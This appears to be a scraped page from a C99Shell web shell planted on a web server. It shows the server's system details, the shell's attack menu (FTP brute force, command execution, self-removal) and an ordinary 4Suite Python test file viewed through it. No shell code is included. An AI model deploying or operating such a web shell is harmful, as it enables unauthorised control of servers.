!C99Shell v. 1.0 pre-release build #16!

Software: Apache/2.0.54 (Fedora). PHP/5.0.4 

uname -a: Linux mina-info.me 2.6.17-1.2142_FC4smp #1 SMP Tue Jul 11 22:57:02 EDT 2006 i686 

uid=48(apache) gid=48(apache) groups=48(apache)
context=system_u:system_r:httpd_sys_script_t
 

Safe-mode: OFF (not secure)

/usr/lib/4Suite/tests/Server/Server/SCore/   drwxr-xr-x
Free 4.95 GB of 27.03 GB (18.32%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     test_commands.py (3.18 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |


from Ft.Server.Common import ResourceTypes, ValidationInfo, Schema

import test_helper

from Ft.Server.Server import FtServerServerException, Error

from Ft.Server import FTSERVER_NAMESPACE

from Ft.Xml.XLink import XLINK_NAMESPACE

def test_create(tester):


    tester.startTest("Create command Document")

    #Create XML Document
    repo = test_helper.GetRepo(tester)
    test = repo.fetchResource('/test')
    doc = test.createDocument('command',str(COMMAND1),forcedType=ResourceTypes.ResourceType.COMMAND)


    dMd = doc.getMetaDataResource().getContent()
    dContent = doc.getContent()

    cd,md = test_helper.TestMetaData(tester,
                                     dMd,
                                     'command',
                                     ResourceTypes.ResourceType.COMMAND,
                                     [],
                                     tester.test_data['userName'],
                                     'text/xml',
                                     str(len(dContent)),
                                     [],
                                     )

    tester.compare(COMMAND1,dContent)

    test_helper.TestCommandRdf(tester,
                               repo,
                               '/test/command',
                               len(dContent),
                               tester.test_data['userName'],
                               cd,
                               md,
                               Schema.NULL_DOCDEF,
                               'foo',
                               ['bar'])




    repo.txCommit()

    tester.testDone()
    return



def cleanup(tester):

    tester.startTest("Clean Up")
    repo = test_helper.GetRepo(tester)
    if repo.hasResource('/test'):
        repo.deleteResource('/test')
    repo.createContainer("/test",1)
    repo.txCommit()
    tester.testDone()



COMMAND1="""<ftss:Command xmlns:ftss="%s" xmlns:dc="%s" xmlns:xlink="%s" name='foo'>
  <dc:Description>This is a test command</dc:Description>
  <ftss:Example>foo --o=1</ftss:Example>
  <ftss:VerboseDescription>This is a very verbose description</ftss:VerboseDescription>
  <ftss:Options>
    <ftss:Option short-name='s' long-name='sample'>
      <dc:Description>A option</dc:Description>
      <ftss:SubOptions>
        <dc:Description>A sub option</dc:Description>
        <ftss:Option short-name='p' long-name='people'/>
      </ftss:SubOptions>
    </ftss:Option>
    <ftss:TypedOption short-name='s' long-name='sample'>
      <dc:Description>A typed option</dc:Description>
      <ftss:Allowed>1</ftss:Allowed>
    </ftss:TypedOption>
    <ftss:ExclusiveOption>
      <dc:Description>A exclusive option</dc:Description>
      <ftss:Option short-name='q' long-name='quite'/>
    </ftss:ExclusiveOption>
  </ftss:Options>
  <ftss:Arguments>
    <ftss:Argument name='foo' requirements='1'>
      <dc:Description>An argument</dc:Description>
    </ftss:Argument>
  </ftss:Arguments>
  <ftss:SubCommands>
    <ftss:CommandReference xlink:type="simple" xlink:href="bar" xlink:actuate="onLoad" xlink:show="embed"/>
  </ftss:SubCommands>
</ftss:Command>
""" % (FTSERVER_NAMESPACE,Schema.DC, XLINK_NAMESPACE)




def Test(tester):

    cleanup(tester)
    test_create(tester)



:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #16 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.007 ]--